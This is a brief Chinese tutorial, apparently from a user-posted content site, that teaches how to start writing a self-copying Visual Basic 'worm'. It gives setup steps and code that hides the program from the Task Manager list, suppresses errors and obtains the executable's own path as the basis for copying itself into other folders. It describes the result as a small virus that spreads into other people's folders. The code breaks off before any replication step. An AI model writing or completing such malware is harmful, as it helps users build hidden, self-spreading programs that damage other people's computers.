打开Visual Basic，选择“Standard EXE”的Project。移除那个Form，然后加入一个Module。点击Project->Project1 Properties。在弹出来的窗口中，把Startup Object改为“Sub Main”。在Module中，键入以下的编码：
Sub Main() 'TaskVisible的功能是把程序在End Task表中除掉。 App.TaskVisible = False End Sub
以上的编码只是把程序从End Task表中除掉，没什么作用。现在，让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码：
'阻止问题发生 On Error Resume Next Dim Location, Location2, DesLocation, DesLocation2 '得到EXE的位置 Location = App.Path & "\" & App.EXEName & ".exe" Location2 = App.Path & App.EXEName & ".exe"
以上代码懂VB的都会制作蠕虫小病毒自行复制别人的文件夹
本站仅提供存储服务，所有内容均由用户发布，如发现有害或侵权内容，请
点击举报。
